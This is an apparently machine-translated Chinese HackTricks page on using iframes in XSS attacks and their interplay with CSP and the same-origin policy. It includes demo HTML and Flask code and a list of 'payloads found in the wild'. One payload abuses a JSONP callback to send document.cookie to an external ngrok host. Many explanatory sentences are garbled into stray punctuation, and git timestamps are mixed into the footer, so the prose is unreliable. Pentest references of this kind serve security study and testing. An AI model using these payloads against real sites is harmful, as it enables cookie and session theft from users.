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# XSS中的iframes、CSP和SOP
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< details >
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< summary > < a href = "https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology" > < strong > ☁️ HackTricks云 ☁️< / strong > < / a > -< a href = "https://twitter.com/hacktricks_live" > < strong > 🐦 Twitter 🐦< / strong > < / a > - < a href = "https://www.twitch.tv/hacktricks_live/schedule" > < strong > 🎙️ Twitch 🎙️< / strong > < / a > - < a href = "https://www.youtube.com/@hacktricks_LIVE" > < strong > 🎥 Youtube 🎥< / strong > < / a > < / summary >
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* 你在一家**网络安全公司**工作吗？ ！
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
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* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
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< / details >
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## XSS中的iframes
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有三种方法可以指示iframed页面的内容：
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* 通过`src`指示URL（ ）
* 通过`src`指示使用`data:`协议的内容
* 通过`srcdoc`指示内容
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**访问父级和子级变量**
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```html
< html >
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< script >
var secret = "31337s3cr37t";
< / script >
< iframe id = "if1" src = "http://127.0.1.1:8000/child.html" > < / iframe >
< iframe id = "if2" src = "child.html" > < / iframe >
< iframe id = "if3" srcdoc = "<script>var secret='if3 secret!'; alert(parent.secret)</script>" > < / iframe >
< iframe id = "if4" src = "data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E" > < / iframe >
< script >
function access_children_vars(){
alert(if1.secret);
alert(if2.secret);
alert(if3.secret);
alert(if4.secret);
}
setTimeout(access_children_vars, 3000);
< / script >
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< / html >
```
```html
<!-- content of child.html -->
< script >
var secret="child secret";
alert(parent.secret)
< / script >
```
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如果您通过http服务器访问前面的html（ ） ， （ ） ， ，
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### 带有CSP的iframe <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>
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{% hint style="info" %}
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请注意， ， ，
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{% endhint %}
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`script-src` 的`self`值不允许使用`data:`协议或`srcdoc`属性执行JS代码。\
然而， ， （ ）
因此， ：
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```html
< html >
< head >
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< meta http-equiv = "Content-Security-Policy" content = "script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='" >
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< / head >
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< script >
var secret = "31337s3cr37t";
< / script >
< iframe id = "if1" src = "child.html" > < / iframe >
< iframe id = "if2" src = "http://127.0.1.1:8000/child.html" > < / iframe >
< iframe id = "if3" srcdoc = "<script>var secret='if3 secret!'; alert(parent.secret)</script>" > < / iframe >
< iframe id = "if4" src = "data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E" > < / iframe >
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< / html >
```
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请注意，**先前的CSP仅允许执行内联脚本**。
然而，**只有`if1`和`if2`脚本将被执行，但只有`if1`能够访问父级的秘密**。
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 ( 1 ) ( 1 ) . png > )
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因此， ，
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您可以使用以下场景测试此功能，即使使用`script-src 'none'`， ：
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```python
import flask
from flask import Flask
app = Flask(__name__)
@app .route("/")
def index():
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resp = flask.Response('< html > < iframe id = "if1" src = "cookie_s.html" > < / iframe > < / html > ')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp
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@app .route("/cookie_s.html")
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def cookie_s():
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return "< script > alert ( document . cookie ) < / script > "
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if __name__ == "__main__":
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app.run()
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```
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### 在野外发现的其他有效载荷 <a href="#other_payloads_found_on_the_wild_64" id="other_payloads_found_on_the_wild_64"></a>
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```html
<!-- This one requires the data: scheme to be allowed -->
< iframe srcdoc = '<script src="data:text/javascript,alert(document.domain)"></script>' > < / iframe >
<!-- This one injects JS in a jsonp endppoint -->
< iframe srcdoc = '<script src = "/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//" > < / script >
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?) -->
< iframe src = 'data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>' > < / iframe >
```
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### Iframe沙箱
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`sandbox` 属性为iframe中的内容提供了一组额外的限制。**默认情况下，不应用任何限制。**
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当`sandbox`属性存在时，它将：
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* 将内容视为来自唯一的源
* 阻止表单提交
* 阻止脚本执行
* 禁用API
* 防止链接指向其他浏览上下文
* 防止内容使用插件（通过`< embed > `， < object > `， < applet > `或其他方式）
* 防止内容导航到其顶级浏览上下文
* 阻止自动触发的功能（例如自动播放视频或自动聚焦表单控件）
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`sandbox` 属性的值可以为空（然后应用所有限制），或者是一个以空格分隔的预定义值列表，将移除特定的限制。
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```html
< iframe src = "demo_iframe_sandbox.htm" sandbox > < / iframe >
```
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## SOP中的iframes
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请查看以下页面：
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{% content-ref url="../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md" %}
[bypassing-sop-with-iframes-1.md ](../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md )
{% endcontent-ref %}
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{% content-ref url="../postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md" %}
[bypassing-sop-with-iframes-2.md ](../postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md )
{% endcontent-ref %}
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{% content-ref url="../postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md" %}
[blocking-main-page-to-steal-postmessage.md ](../postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md )
{% endcontent-ref %}
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{% content-ref url="../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md" %}
[steal-postmessage-modifying-iframe-location.md ](../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md )
{% endcontent-ref %}
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< details >
2023-08-03 19:12:22 +00:00
< summary > < a href = "https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology" > < strong > ☁️ HackTricks云 ☁️< / strong > < / a > -< a href = "https://twitter.com/hacktricks_live" > < strong > 🐦 Twitter 🐦< / strong > < / a > - < a href = "https://www.twitch.tv/hacktricks_live/schedule" > < strong > 🎙️ Twitch 🎙️< / strong > < / a > - < a href = "https://www.youtube.com/@hacktricks_LIVE" > < strong > 🎥 Youtube 🎥< / strong > < / a > < / summary >
2022-04-28 16:01:33 +00:00
2023-08-03 19:12:22 +00:00
* 你在一家**网络安全公司**工作吗？ ！
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组** ](https://discord.gg/hRep4RUj7f )或[**电报群组**](https://t.me/peass)，或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
2022-04-28 16:01:33 +00:00
< / details >
